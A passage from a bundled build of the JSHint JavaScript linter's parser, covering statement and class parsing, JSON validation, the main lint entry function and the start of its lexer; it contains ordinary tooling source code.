} if (name.id === "[") { name = computedPropertyName(); computed = true; } else if (isPropertyName(name)) { advance(); computed = false; if (name.identifier && name.value === "static") { if (checkPunctuator(state.tokens.next, "*")) { isGenerator = true; advance("*"); } if (isPropertyName(state.tokens.next) || state.tokens.next.id === "[") { computed = state.tokens.next.id === "["; isStatic = true; name = state.tokens.next; if (state.tokens.next.id === "[") { name = computedPropertyName(); } else advance(); } } if (name.identifier && (name.value === "get" || name.value === "set")) { if (isPropertyName(state.tokens.next) || state.tokens.next.id === "[") { computed = state.tokens.next.id === "["; getset = name; name = state.tokens.next; if (state.tokens.next.id === "[") { name = computedPropertyName(); } else advance(); } } } else { warning("W052", state.tokens.next, state.tokens.next.value || state.tokens.next.type); advance(); continue; } if (!checkPunctuator(state.tokens.next, "(")) { error("E054", state.tokens.next, state.tokens.next.value); while (state.tokens.next.id !== "}" && !checkPunctuator(state.tokens.next, "(")) { advance(); } if (state.tokens.next.value !== "(") { doFunction({ statement: c }); } } if (!computed) { if (getset) { saveAccessor( getset.value, isStatic ? staticProps : props, name.value, name, true, isStatic); } else { if (name.value === "constructor") { state.nameStack.set(c); } else { state.nameStack.set(name); } saveProperty(isStatic ? staticProps : props, name.value, name, true, isStatic); } } if (getset && name.value === "constructor") { var propDesc = getset.value === "get" ? "class getter method" : "class setter method"; error("E049", name, propDesc, "constructor"); } else if (name.value === "prototype") { error("E049", name, "class method", "prototype"); } propertyName(name); doFunction({ statement: c, type: isGenerator ? "generator" : null, classExprBinding: c.namedExpr ? c.name : null }); } checkProperties(props); } blockstmt("function", function(context) { var inexport = context && context.inexport; var generator = false; if (state.tokens.next.value === "*") { advance("*"); if (state.inES6({ strict: true })) { generator = true; } else { warning("W119", state.tokens.curr, "function*", "6"); } } if (inblock) { warning("W082", state.tokens.curr); } var i = optionalidentifier(); state.funct["(scope)"].addlabel(i, { type: "function", token: state.tokens.curr }); if (i === undefined) { warning("W025"); } else if (inexport) { state.funct["(scope)"].setExported(i, state.tokens.prev); } doFunction({ name: i, statement: this, type: generator ? "generator" : null, ignoreLoopFunc: inblock // a declaration may already have warned }); if (state.tokens.next.id === "(" && state.tokens.next.line === state.tokens.curr.line) { error("E039"); } return this; }); prefix("function", function() { var generator = false; if (state.tokens.next.value === "*") { if (!state.inES6()) { warning("W119", state.tokens.curr, "function*", "6"); } advance("*"); generator = true; } var i = optionalidentifier(); doFunction({ name: i, type: generator ? "generator" : null }); return this; }); blockstmt("if", function() { var t = state.tokens.next; increaseComplexityCount(); state.condition = true; advance("("); var expr = expression(0); checkCondAssignment(expr); var forinifcheck = null; if (state.option.forin && state.forinifcheckneeded) { state.forinifcheckneeded = false; // We only need to analyze the first if inside the loop forinifcheck = state.forinifchecks[state.forinifchecks.length - 1]; if (expr.type === "(punctuator)" && expr.value === "!") { forinifcheck.type = "(negative)"; } else { forinifcheck.type = "(positive)"; } } advance(")", t); state.condition = false; var s = block(true, true); if (forinifcheck && forinifcheck.type === "(negative)") { if (s && s[0] && s[0].type === "(identifier)" && s[0].value === "continue") { forinifcheck.type = "(negative-with-continue)"; } } if (state.tokens.next.id === "else") { advance("else"); if (state.tokens.next.id === "if" || state.tokens.next.id === "switch") { statement(); } else { block(true, true); } } return this; }); blockstmt("try", function() { var b; function doCatch() { advance("catch"); advance("("); state.funct["(scope)"].stack("catchparams"); if (checkPunctuators(state.tokens.next, ["[", "{"])) { var tokens = destructuringPattern(); _.each(tokens, function(token) { if (token.id) { state.funct["(scope)"].addParam(token.id, token, "exception"); } }); } else if (state.tokens.next.type !== "(identifier)") { warning("E030", state.tokens.next, state.tokens.next.value); } else { state.funct["(scope)"].addParam(identifier(), state.tokens.curr, "exception"); } if (state.tokens.next.value === "if") { if (!state.inMoz()) { warning("W118", state.tokens.curr, "catch filter"); } advance("if"); expression(0); } advance(")"); block(false); state.funct["(scope)"].unstack(); } block(true); while (state.tokens.next.id === "catch") { increaseComplexityCount(); if (b && (!state.inMoz())) { warning("W118", state.tokens.next, "multiple catch blocks"); } doCatch(); b = true; } if (state.tokens.next.id === "finally") { advance("finally"); block(true); return; } if (!b) { error("E021", state.tokens.next, "catch", state.tokens.next.value); } return this; }); blockstmt("while", function() { var t = state.tokens.next; state.funct["(breakage)"] += 1; state.funct["(loopage)"] += 1; increaseComplexityCount(); advance("("); checkCondAssignment(expression(0)); advance(")", t); block(true, true); state.funct["(breakage)"] -= 1; state.funct["(loopage)"] -= 1; return this; }).labelled = true; blockstmt("with", function() { var t = state.tokens.next; if (state.isStrict()) { error("E010", state.tokens.curr); } else if (!state.option.withstmt) { warning("W085", state.tokens.curr); } advance("("); expression(0); advance(")", t); block(true, true); return this; }); blockstmt("switch", function() { var t = state.tokens.next; var g = false; var noindent = false; state.funct["(breakage)"] += 1; advance("("); checkCondAssignment(expression(0)); advance(")", t); t = state.tokens.next; advance("{"); if (state.tokens.next.from === indent) noindent = true; if (!noindent) indent += state.option.indent; this.cases = []; for (;;) { switch (state.tokens.next.id) { case "case": switch (state.funct["(verb)"]) { case "yield": case "break": case "case": case "continue": case "return": case "switch": case "throw": break; default: if (!state.tokens.curr.caseFallsThrough) { warning("W086", state.tokens.curr, "case"); } } advance("case"); this.cases.push(expression(0)); increaseComplexityCount(); g = true; advance(":"); state.funct["(verb)"] = "case"; break; case "default": switch (state.funct["(verb)"]) { case "yield": case "break": case "continue": case "return": case "throw": break; default: if (this.cases.length) { if (!state.tokens.curr.caseFallsThrough) { warning("W086", state.tokens.curr, "default"); } } } advance("default"); g = true; advance(":"); break; case "}": if (!noindent) indent -= state.option.indent; advance("}", t); state.funct["(breakage)"] -= 1; state.funct["(verb)"] = undefined; return; case "(end)": error("E023", state.tokens.next, "}"); return; default: indent += state.option.indent; if (g) { switch (state.tokens.curr.id) { case ",": error("E040"); return; case ":": g = false; statements(); break; default: error("E025", state.tokens.curr); return; } } else { if (state.tokens.curr.id === ":") { advance(":"); error("E024", state.tokens.curr, ":"); statements(); } else { error("E021", state.tokens.next, "case", state.tokens.next.value); return; } } indent -= state.option.indent; } } return this; }).labelled = true; stmt("debugger", function() { if (!state.option.debug) { warning("W087", this); } return this; }).exps = true; (function() { var x = stmt("do", function() { state.funct["(breakage)"] += 1; state.funct["(loopage)"] += 1; increaseComplexityCount(); this.first = block(true, true); advance("while"); var t = state.tokens.next; advance("("); checkCondAssignment(expression(0)); advance(")", t); state.funct["(breakage)"] -= 1; state.funct["(loopage)"] -= 1; return this; }); x.labelled = true; x.exps = true; }()); blockstmt("for", function() { var s, t = state.tokens.next; var letscope = false; var foreachtok = null; if (t.value === "each") { foreachtok = t; advance("each"); if (!state.inMoz()) { warning("W118", state.tokens.curr, "for each"); } } increaseComplexityCount(); advance("("); var nextop; // contains the token of the "in" or "of" operator var i = 0; var inof = ["in", "of"]; var level = 0; // BindingPattern "level" --- level 0 === no BindingPattern var comma; // First comma punctuator at level 0 var initializer; // First initializer at level 0 if (checkPunctuators(state.tokens.next, ["{", "["])) ++level; do { nextop = peek(i); ++i; if (checkPunctuators(nextop, ["{", "["])) ++level; else if (checkPunctuators(nextop, ["}", "]"])) --level; if (level < 0) break; if (level === 0) { if (!comma && checkPunctuator(nextop, ",")) comma = nextop; else if (!initializer && checkPunctuator(nextop, "=")) initializer = nextop; } } while (level > 0 || !_.contains(inof, nextop.value) && nextop.value !== ";" && nextop.type !== "(end)"); // Is this a JSCS bug? This looks really weird. if (_.contains(inof, nextop.value)) { if (!state.inES6() && nextop.value === "of") { warning("W104", nextop, "for of", "6"); } var ok = !(initializer || comma); if (initializer) { error("W133", comma, nextop.value, "initializer is forbidden"); } if (comma) { error("W133", comma, nextop.value, "more than one ForBinding"); } if (state.tokens.next.id === "var") { advance("var"); state.tokens.curr.fud({ prefix: true }); } else if (state.tokens.next.id === "let" || state.tokens.next.id === "const") { advance(state.tokens.next.id); letscope = true; state.funct["(scope)"].stack(); state.tokens.curr.fud({ prefix: true }); } else { Object.create(varstatement).fud({ prefix: true, implied: "for", ignore: !ok }); } advance(nextop.value); expression(20); advance(")", t); if (nextop.value === "in" && state.option.forin) { state.forinifcheckneeded = true; if (state.forinifchecks === undefined) { state.forinifchecks = []; } state.forinifchecks.push({ type: "(none)" }); } state.funct["(breakage)"] += 1; state.funct["(loopage)"] += 1; s = block(true, true); if (nextop.value === "in" && state.option.forin) { if (state.forinifchecks && state.forinifchecks.length > 0) { var check = state.forinifchecks.pop(); if (// No if statement or not the first statement in loop body s && s.length > 0 && (typeof s[0] !== "object" || s[0].value !== "if") || check.type === "(positive)" && s.length > 1 || check.type === "(negative)") { warning("W089", this); } } state.forinifcheckneeded = false; } state.funct["(breakage)"] -= 1; state.funct["(loopage)"] -= 1; } else { if (foreachtok) { error("E045", foreachtok); } if (state.tokens.next.id !== ";") { if (state.tokens.next.id === "var") { advance("var"); state.tokens.curr.fud(); } else if (state.tokens.next.id === "let") { advance("let"); letscope = true; state.funct["(scope)"].stack(); state.tokens.curr.fud(); } else { for (;;) { expression(0, "for"); if (state.tokens.next.id !== ",") { break; } comma(); } } } nolinebreak(state.tokens.curr); advance(";"); state.funct["(loopage)"] += 1; if (state.tokens.next.id !== ";") { checkCondAssignment(expression(0)); } nolinebreak(state.tokens.curr); advance(";"); if (state.tokens.next.id === ";") { error("E021", state.tokens.next, ")", ";"); } if (state.tokens.next.id !== ")") { for (;;) { expression(0, "for"); if (state.tokens.next.id !== ",") { break; } comma(); } } advance(")", t); state.funct["(breakage)"] += 1; block(true, true); state.funct["(breakage)"] -= 1; state.funct["(loopage)"] -= 1; } if (letscope) { state.funct["(scope)"].unstack(); } return this; }).labelled = true; stmt("break", function() { var v = state.tokens.next.value; if (!state.option.asi) nolinebreak(this); if (state.tokens.next.id !== ";" && !state.tokens.next.reach && state.tokens.curr.line === startLine(state.tokens.next)) { if (!state.funct["(scope)"].funct.hasBreakLabel(v)) { warning("W090", state.tokens.next, v); } this.first = state.tokens.next; advance(); } else { if (state.funct["(breakage)"] === 0) warning("W052", state.tokens.next, this.value); } reachable(this); return this; }).exps = true; stmt("continue", function() { var v = state.tokens.next.value; if (state.funct["(breakage)"] === 0) warning("W052", state.tokens.next, this.value); if (!state.funct["(loopage)"]) warning("W052", state.tokens.next, this.value); if (!state.option.asi) nolinebreak(this); if (state.tokens.next.id !== ";" && !state.tokens.next.reach) { if (state.tokens.curr.line === startLine(state.tokens.next)) { if (!state.funct["(scope)"].funct.hasBreakLabel(v)) { warning("W090", state.tokens.next, v); } this.first = state.tokens.next; advance(); } } reachable(this); return this; }).exps = true; stmt("return", function() { if (this.line === startLine(state.tokens.next)) { if (state.tokens.next.id !== ";" && !state.tokens.next.reach) { this.first = expression(0); if (this.first && this.first.type === "(punctuator)" && this.first.value === "=" && !this.first.paren && !state.option.boss) { warningAt("W093", this.first.line, this.first.character); } } } else { if (state.tokens.next.type === "(punctuator)" && ["[", "{", "+", "-"].indexOf(state.tokens.next.value) > -1) { nolinebreak(this); // always warn (Line breaking error) } } reachable(this); return this; }).exps = true; (function(x) { x.exps = true; x.lbp = 25; }(prefix("yield", function() { var prev = state.tokens.prev; if (state.inES6(true) && !state.funct["(generator)"]) { if (!("(catch)" === state.funct["(name)"] && state.funct["(context)"]["(generator)"])) { error("E046", state.tokens.curr, "yield"); } } else if (!state.inES6()) { warning("W104", state.tokens.curr, "yield", "6"); } state.funct["(generator)"] = "yielded"; var delegatingYield = false; if (state.tokens.next.value === "*") { delegatingYield = true; advance("*"); } if (this.line === startLine(state.tokens.next) || !state.inMoz()) { if (delegatingYield || (state.tokens.next.id !== ";" && !state.option.asi && !state.tokens.next.reach && state.tokens.next.nud)) { nobreaknonadjacent(state.tokens.curr, state.tokens.next); this.first = expression(10); if (this.first.type === "(punctuator)" && this.first.value === "=" && !this.first.paren && !state.option.boss) { warningAt("W093", this.first.line, this.first.character); } } if (state.inMoz() && state.tokens.next.id !== ")" && (prev.lbp > 30 || (!prev.assign && !isEndOfExpr()) || prev.id === "yield")) { error("E050", this); } } else if (!state.option.asi) { nolinebreak(this); // always warn (Line breaking error) } return this; }))); stmt("throw", function() { nolinebreak(this); this.first = expression(20); reachable(this); return this; }).exps = true; stmt("import", function() { if (!state.inES6()) { warning("W119", state.tokens.curr, "import", "6"); } if (state.tokens.next.type === "(string)") { advance("(string)"); return this; } if (state.tokens.next.identifier) { this.name = identifier(); state.funct["(scope)"].addlabel(this.name, { type: "const", token: state.tokens.curr }); if (state.tokens.next.value === ",") { advance(","); } else { advance("from"); advance("(string)"); return this; } } if (state.tokens.next.id === "*") { advance("*"); advance("as"); if (state.tokens.next.identifier) { this.name = identifier(); state.funct["(scope)"].addlabel(this.name, { type: "const", token: state.tokens.curr }); } } else { advance("{"); for (;;) { if (state.tokens.next.value === "}") { advance("}"); break; } var importName; if (state.tokens.next.type === "default") { importName = "default"; advance("default"); } else { importName = identifier(); } if (state.tokens.next.value === "as") { advance("as"); importName = identifier(); } state.funct["(scope)"].addlabel(importName, { type: "const", token: state.tokens.curr }); if (state.tokens.next.value === ",") { advance(","); } else if (state.tokens.next.value === "}") { advance("}"); break; } else { error("E024", state.tokens.next, state.tokens.next.value); break; } } } advance("from"); advance("(string)"); return this; }).exps = true; stmt("export", function() { var ok = true; var token; var identifier; if (!state.inES6()) { warning("W119", state.tokens.curr, "export", "6"); ok = false; } if (!state.funct["(scope)"].block.isGlobal()) { error("E053", state.tokens.curr); ok = false; } if (state.tokens.next.value === "*") { advance("*"); advance("from"); advance("(string)"); return this; } if (state.tokens.next.type === "default") { state.nameStack.set(state.tokens.next); advance("default"); var exportType = state.tokens.next.id; if (exportType === "function" || exportType === "class") { this.block = true; } token = peek(); expression(10); identifier = token.value; if (this.block) { state.funct["(scope)"].addlabel(identifier, { type: exportType, token: token }); state.funct["(scope)"].setExported(identifier, token); } return this; } if (state.tokens.next.value === "{") { advance("{"); var exportedTokens = []; for (;;) { if (!state.tokens.next.identifier) { error("E030", state.tokens.next, state.tokens.next.value); } advance(); exportedTokens.push(state.tokens.curr); if (state.tokens.next.value === "as") { advance("as"); if (!state.tokens.next.identifier) { error("E030", state.tokens.next, state.tokens.next.value); } advance(); } if (state.tokens.next.value === ",") { advance(","); } else if (state.tokens.next.value === "}") { advance("}"); break; } else { error("E024", state.tokens.next, state.tokens.next.value); break; } } if (state.tokens.next.value === "from") { advance("from"); advance("(string)"); } else if (ok) { exportedTokens.forEach(function(token) { state.funct["(scope)"].setExported(token.value, token); }); } return this; } if (state.tokens.next.id === "var") { advance("var"); state.tokens.curr.fud({ inexport:true }); } else if (state.tokens.next.id === "let") { advance("let"); state.tokens.curr.fud({ inexport:true }); } else if (state.tokens.next.id === "const") { advance("const"); state.tokens.curr.fud({ inexport:true }); } else if (state.tokens.next.id === "function") { this.block = true; advance("function"); state.syntax["function"].fud({ inexport:true }); } else if (state.tokens.next.id === "class") { this.block = true; advance("class"); var classNameToken = state.tokens.next; state.syntax["class"].fud(); state.funct["(scope)"].setExported(classNameToken.value, classNameToken); } else { error("E024", state.tokens.next, state.tokens.next.value); } return this; }).exps = true; FutureReservedWord("abstract"); FutureReservedWord("boolean"); FutureReservedWord("byte"); FutureReservedWord("char"); FutureReservedWord("class", { es5: true, nud: classdef }); FutureReservedWord("double"); FutureReservedWord("enum", { es5: true }); FutureReservedWord("export", { es5: true }); FutureReservedWord("extends", { es5: true }); FutureReservedWord("final"); FutureReservedWord("float"); FutureReservedWord("goto"); FutureReservedWord("implements", { es5: true, strictOnly: true }); FutureReservedWord("import", { es5: true }); FutureReservedWord("int"); FutureReservedWord("interface", { es5: true, strictOnly: true }); FutureReservedWord("long"); FutureReservedWord("native"); FutureReservedWord("package", { es5: true, strictOnly: true }); FutureReservedWord("private", { es5: true, strictOnly: true }); FutureReservedWord("protected", { es5: true, strictOnly: true }); FutureReservedWord("public", { es5: true, strictOnly: true }); FutureReservedWord("short"); FutureReservedWord("static", { es5: true, strictOnly: true }); FutureReservedWord("super", { es5: true }); FutureReservedWord("synchronized"); FutureReservedWord("transient"); FutureReservedWord("volatile"); var lookupBlockType = function() { var pn, pn1, prev; var i = -1; var bracketStack = 0; var ret = {}; if (checkPunctuators(state.tokens.curr, ["[", "{"])) { bracketStack += 1; } do { prev = i === -1 ? state.tokens.curr : pn; pn = i === -1 ? state.tokens.next : peek(i); pn1 = peek(i + 1); i = i + 1; if (checkPunctuators(pn, ["[", "{"])) { bracketStack += 1; } else if (checkPunctuators(pn, ["]", "}"])) { bracketStack -= 1; } if (bracketStack === 1 && pn.identifier && pn.value === "for" && !checkPunctuator(prev, ".")) { ret.isCompArray = true; ret.notJson = true; break; } if (bracketStack === 0 && checkPunctuators(pn, ["}", "]"])) { if (pn1.value === "=") { ret.isDestAssign = true; ret.notJson = true; break; } else if (pn1.value === ".") { ret.notJson = true; break; } } if (checkPunctuator(pn, ";")) { ret.isBlock = true; ret.notJson = true; } } while (bracketStack > 0 && pn.id !== "(end)"); return ret; }; function saveProperty(props, name, tkn, isClass, isStatic) { var msg = ["key", "class method", "static class method"]; msg = msg[(isClass || false) + (isStatic || false)]; if (tkn.identifier) { name = tkn.value; } if (props[name] && name !== "__proto__") { warning("W075", state.tokens.next, msg, name); } else { props[name] = Object.create(null); } props[name].basic = true; props[name].basictkn = tkn; } function saveAccessor(accessorType, props, name, tkn, isClass, isStatic) { var flagName = accessorType === "get" ? "getterToken" : "setterToken"; var msg = ""; if (isClass) { if (isStatic) { msg += "static "; } msg += accessorType + "ter method"; } else { msg = "key"; } state.tokens.curr.accessorType = accessorType; state.nameStack.set(tkn); if (props[name]) { if ((props[name].basic || props[name][flagName]) && name !== "__proto__") { warning("W075", state.tokens.next, msg, name); } } else { props[name] = Object.create(null); } props[name][flagName] = tkn; } function computedPropertyName() { advance("["); if (!state.inES6()) { warning("W119", state.tokens.curr, "computed property names", "6"); } var value = expression(10); advance("]"); return value; } function checkPunctuators(token, values) { if (token.type === "(punctuator)") { return _.contains(values, token.value); } return false; } function checkPunctuator(token, value) { return token.type === "(punctuator)" && token.value === value; } function destructuringAssignOrJsonValue() { var block = lookupBlockType(); if (block.notJson) { if (!state.inES6() && block.isDestAssign) { warning("W104", state.tokens.curr, "destructuring assignment", "6"); } statements(); } else { state.option.laxbreak = true; state.jsonMode = true; jsonValue(); } } var arrayComprehension = function() { var CompArray = function() { this.mode = "use"; this.variables = []; }; var _carrays = []; var _current; function declare(v) { var l = _current.variables.filter(function(elt) { if (elt.value === v) { elt.undef = false; return v; } }).length; return l !== 0; } function use(v) { var l = _current.variables.filter(function(elt) { if (elt.value === v && !elt.undef) { if (elt.unused === true) { elt.unused = false; } return v; } }).length; return (l === 0); } return { stack: function() { _current = new CompArray(); _carrays.push(_current); }, unstack: function() { _current.variables.filter(function(v) { if (v.unused) warning("W098", v.token, v.raw_text || v.value); if (v.undef) state.funct["(scope)"].block.use(v.value, v.token); }); _carrays.splice(-1, 1); _current = _carrays[_carrays.length - 1]; }, setState: function(s) { if (_.contains(["use", "define", "generate", "filter"], s)) _current.mode = s; }, check: function(v) { if (!_current) { return; } if (_current && _current.mode === "use") { if (use(v)) { _current.variables.push({ funct: state.funct, token: state.tokens.curr, value: v, undef: true, unused: false }); } return true; } else if (_current && _current.mode === "define") { if (!declare(v)) { _current.variables.push({ funct: state.funct, token: state.tokens.curr, value: v, undef: false, unused: true }); } return true; } else if (_current && _current.mode === "generate") { state.funct["(scope)"].block.use(v, state.tokens.curr); return true; } else if (_current && _current.mode === "filter") { if (use(v)) { state.funct["(scope)"].block.use(v, state.tokens.curr); } return true; } return false; } }; }; function jsonValue() { function jsonObject() { var o = {}, t = state.tokens.next; advance("{"); if (state.tokens.next.id !== "}") { for (;;) { if (state.tokens.next.id === "(end)") { error("E026", state.tokens.next, t.line); } else if (state.tokens.next.id === "}") { warning("W094", state.tokens.curr); break; } else if (state.tokens.next.id === ",") { error("E028", state.tokens.next); } else if (state.tokens.next.id !== "(string)") { warning("W095", state.tokens.next, state.tokens.next.value); } if (o[state.tokens.next.value] === true) { warning("W075", state.tokens.next, "key", state.tokens.next.value); } else if ((state.tokens.next.value === "__proto__" && !state.option.proto) || (state.tokens.next.value === "__iterator__" && !state.option.iterator)) { warning("W096", state.tokens.next, state.tokens.next.value); } else { o[state.tokens.next.value] = true; } advance(); advance(":"); jsonValue(); if (state.tokens.next.id !== ",") { break; } advance(","); } } advance("}"); } function jsonArray() { var t = state.tokens.next; advance("["); if (state.tokens.next.id !== "]") { for (;;) { if (state.tokens.next.id === "(end)") { error("E027", state.tokens.next, t.line); } else if (state.tokens.next.id === "]") { warning("W094", state.tokens.curr); break; } else if (state.tokens.next.id === ",") { error("E028", state.tokens.next); } jsonValue(); if (state.tokens.next.id !== ",") { break; } advance(","); } } advance("]"); } switch (state.tokens.next.id) { case "{": jsonObject(); break; case "[": jsonArray(); break; case "true": case "false": case "null": case "(number)": case "(string)": advance(); break; case "-": advance("-"); advance("(number)"); break; default: error("E003", state.tokens.next); } } var escapeRegex = function(str) { return str.replace(/[-\/\\^$*+?.()|[\]{}]/g, "\\$&"); }; var itself = function(s, o, g) { var i, k, x, reIgnoreStr, reIgnore; var optionKeys; var newOptionObj = {}; var newIgnoredObj = {}; o = _.clone(o); state.reset(); if (o && o.scope) { JSHINT.scope = o.scope; } else { JSHINT.errors = []; JSHINT.undefs = []; JSHINT.internals = []; JSHINT.blacklist = {}; JSHINT.scope = "(main)"; } predefined = Object.create(null); combine(predefined, vars.ecmaIdentifiers[3]); combine(predefined, vars.reservedVars); combine(predefined, g || {}); declared = Object.create(null); var exported = Object.create(null); // Variables that live outside the current file function each(obj, cb) { if (!obj) return; if (!Array.isArray(obj) && typeof obj === "object") obj = Object.keys(obj); obj.forEach(cb); } if (o) { each(o.predef || null, function(item) { var slice, prop; if (item[0] === "-") { slice = item.slice(1); JSHINT.blacklist[slice] = slice; delete predefined[slice]; } else { prop = Object.getOwnPropertyDescriptor(o.predef, item); predefined[item] = prop ? prop.value : false; } }); each(o.exported || null, function(item) { exported[item] = true; }); delete o.predef; delete o.exported; optionKeys = Object.keys(o); for (x = 0; x < optionKeys.length; x++) { if (/^-W\d{3}$/g.test(optionKeys[x])) { newIgnoredObj[optionKeys[x].slice(1)] = true; } else { var optionKey = optionKeys[x]; newOptionObj[optionKey] = o[optionKey]; if ((optionKey === "esversion" && o[optionKey] === 5) || (optionKey === "es5" && o[optionKey])) { warning("I003"); } if (optionKeys[x] === "newcap" && o[optionKey] === false) newOptionObj["(explicitNewcap)"] = true; } } } state.option = newOptionObj; state.ignored = newIgnoredObj; state.option.indent = state.option.indent || 4; state.option.maxerr = state.option.maxerr || 50; indent = 1; var scopeManagerInst = scopeManager(state, predefined, exported, declared); scopeManagerInst.on("warning", function(ev) { warning.apply(null, [ ev.code, ev.token].concat(ev.data)); }); scopeManagerInst.on("error", function(ev) { error.apply(null, [ ev.code, ev.token ].concat(ev.data)); }); state.funct = functor("(global)", null, { "(global)" : true, "(scope)" : scopeManagerInst, "(comparray)" : arrayComprehension(), "(metrics)" : createMetrics(state.tokens.next) }); functions = [state.funct]; urls = []; stack = null; member = {}; membersOnly = null; inblock = false; lookahead = []; if (!isString(s) && !Array.isArray(s)) { errorAt("E004", 0); return false; } api = { get isJSON() { return state.jsonMode; }, getOption: function(name) { return state.option[name] || null; }, getCache: function(name) { return state.cache[name]; }, setCache: function(name, value) { state.cache[name] = value; }, warn: function(code, data) { warningAt.apply(null, [ code, data.line, data.char ].concat(data.data)); }, on: function(names, listener) { names.split(" ").forEach(function(name) { emitter.on(name, listener); }.bind(this)); } }; emitter.removeAllListeners(); (extraModules || []).forEach(function(func) { func(api); }); state.tokens.prev = state.tokens.curr = state.tokens.next = state.syntax["(begin)"]; if (o && o.ignoreDelimiters) { if (!Array.isArray(o.ignoreDelimiters)) { o.ignoreDelimiters = [o.ignoreDelimiters]; } o.ignoreDelimiters.forEach(function(delimiterPair) { if (!delimiterPair.start || !delimiterPair.end) return; reIgnoreStr = escapeRegex(delimiterPair.start) + "[\\s\\S]*?" + escapeRegex(delimiterPair.end); reIgnore = new RegExp(reIgnoreStr, "ig"); s = s.replace(reIgnore, function(match) { return match.replace(/./g, " "); }); }); } lex = new Lexer(s); lex.on("warning", function(ev) { warningAt.apply(null, [ ev.code, ev.line, ev.character].concat(ev.data)); }); lex.on("error", function(ev) { errorAt.apply(null, [ ev.code, ev.line, ev.character ].concat(ev.data)); }); lex.on("fatal", function(ev) { quit("E041", ev.line, ev.from); }); lex.on("Identifier", function(ev) { emitter.emit("Identifier", ev); }); lex.on("String", function(ev) { emitter.emit("String", ev); }); lex.on("Number", function(ev) { emitter.emit("Number", ev); }); lex.start(); for (var name in o) { if (_.has(o, name)) { checkOption(name, state.tokens.curr); } } assume(); combine(predefined, g || {}); comma.first = true; try { advance(); switch (state.tokens.next.id) { case "{": case "[": destructuringAssignOrJsonValue(); break; default: directives(); if (state.directive["use strict"]) { if (state.option.strict !== "global") { warning("W097", state.tokens.prev); } } statements(); } if (state.tokens.next.id !== "(end)") { quit("E041", state.tokens.curr.line); } state.funct["(scope)"].unstack(); } catch (err) { if (err && err.name === "JSHintError") { var nt = state.tokens.next || {}; JSHINT.errors.push({ scope : "(main)", raw : err.raw, code : err.code, reason : err.message, line : err.line || nt.line, character : err.character || nt.from }, null); } else { throw err; } } if (JSHINT.scope === "(main)") { o = o || {}; for (i = 0; i < JSHINT.internals.length; i += 1) { k = JSHINT.internals[i]; o.scope = k.elem; itself(k.value, o, g); } } return JSHINT.errors.length === 0; }; itself.addModule = function(func) { extraModules.push(func); }; itself.addModule(style.register); itself.data = function() { var data = { functions: [], options: state.option }; var fu, f, i, j, n, globals; if (itself.errors.length) { data.errors = itself.errors; } if (state.jsonMode) { data.json = true; } var impliedGlobals = state.funct["(scope)"].getImpliedGlobals(); if (impliedGlobals.length > 0) { data.implieds = impliedGlobals; } if (urls.length > 0) { data.urls = urls; } globals = state.funct["(scope)"].getUsedOrDefinedGlobals(); if (globals.length > 0) { data.globals = globals; } for (i = 1; i < functions.length; i += 1) { f = functions[i]; fu = {}; for (j = 0; j < functionicity.length; j += 1) { fu[functionicity[j]] = []; } for (j = 0; j < functionicity.length; j += 1) { if (fu[functionicity[j]].length === 0) { delete fu[functionicity[j]]; } } fu.name = f["(name)"]; fu.param = f["(params)"]; fu.line = f["(line)"]; fu.character = f["(character)"]; fu.last = f["(last)"]; fu.lastcharacter = f["(lastcharacter)"]; fu.metrics = { complexity: f["(metrics)"].ComplexityCount, parameters: f["(metrics)"].arity, statements: f["(metrics)"].statementCount }; data.functions.push(fu); } var unuseds = state.funct["(scope)"].getUnuseds(); if (unuseds.length > 0) { data.unused = unuseds; } for (n in member) { if (typeof member[n] === "number") { data.member = member; break; } } return data; }; itself.jshint = itself; return itself; }()); if (typeof exports === "object" && exports) { exports.JSHINT = JSHINT; } },{"../lodash":"/node_modules/jshint/lodash.js","./lex.js":"/node_modules/jshint/src/lex.js","./messages.js":"/node_modules/jshint/src/messages.js","./options.js":"/node_modules/jshint/src/options.js","./reg.js":"/node_modules/jshint/src/reg.js","./scope-manager.js":"/node_modules/jshint/src/scope-manager.js","./state.js":"/node_modules/jshint/src/state.js","./style.js":"/node_modules/jshint/src/style.js","./vars.js":"/node_modules/jshint/src/vars.js","events":"/node_modules/browserify/node_modules/events/events.js"}],"/node_modules/jshint/src/lex.js":[function(_dereq_,module,exports){ "use strict"; var _ = _dereq_("../lodash"); var events = _dereq_("events"); var reg = _dereq_("./reg.js"); var state = _dereq_("./state.js").state; var unicodeData = _dereq_("../data/ascii-identifier-data.js"); var asciiIdentifierStartTable = unicodeData.asciiIdentifierStartTable; var asciiIdentifierPartTable = unicodeData.asciiIdentifierPartTable; var Token = { Identifier: 1, Punctuator: 2, NumericLiteral: 3, StringLiteral: 4, Comment: 5, Keyword: 6, NullLiteral: 7, BooleanLiteral: 8, RegExp: 9, TemplateHead: 10, TemplateMiddle: 11, TemplateTail: 12, NoSubstTemplate: 13 }; var Context = { Block: 1, Template: 2 }; function asyncTrigger() { var _checks = []; return { push: function(fn) { _checks.push(fn); }, check: function() { for (var check = 0; check < _checks.length; ++check) { _checks[check](); } _checks.splice(0, _checks.length); } }; } function Lexer(source) { var lines = source; if (typeof lines === "string") { lines = lines .replace(/\r\n/g, "\n") .replace(/\r/g, "\n") .split("\n"); } if (lines[0] && lines[0].substr(0, 2) === "#!") { if (lines[0].indexOf("node") !== -1) { state.option.node = true; } lines[0] = ""; } this.emitter = new events.EventEmitter(); this.source = source; this.setLines(lines); this.prereg = true; this.line = 0; this.char = 1; this.from = 1; this.input = ""; this.inComment = false; this.context = []; this.templateStarts = []; for (var i = 0; i < state.option.indent; i += 1) { state.tab += " "; } this.ignoreLinterErrors = false; } Lexer.prototype = { _lines: [], inContext: function(ctxType) { return this.context.length > 0 && this.context[this.context.length - 1].type === ctxType; }, pushContext: function(ctxType) { this.context.push({ type: ctxType }); }, popContext: function() { return this.context.pop(); }, isContext: function(context) { return this.context.length > 0 && this.context[this.context.length - 1] === context; }, currentContext: function() { return this.context.length > 0 && this.context[this.context.length - 1]; }, getLines: function() { this._lines = state.lines; return this._lines; }, setLines: function(val) { this._lines = val; state.lines = this._lines; }, peek: function(i) { return this.input.charAt(i || 0); }, skip: function(i) { i = i || 1; this.char += i; this.input = this.input.slice(i); }, on: function(names, listener) { names.split(" ").forEach(function(name) { this.emitter.on(name, listener); }.bind(this)); }, trigger: function() { this.emitter.emit.apply(this.emitter, Array.prototype.slice.call(arguments)); }, triggerAsync: function(type, args, checks, fn) { checks.push(function() { if (fn()) { this.trigger(type, args); } }.bind(this)); }, scanPunctuator: function() { var ch1 = this.peek(); var ch2, ch3, ch4; switch (ch1) { case ".": if 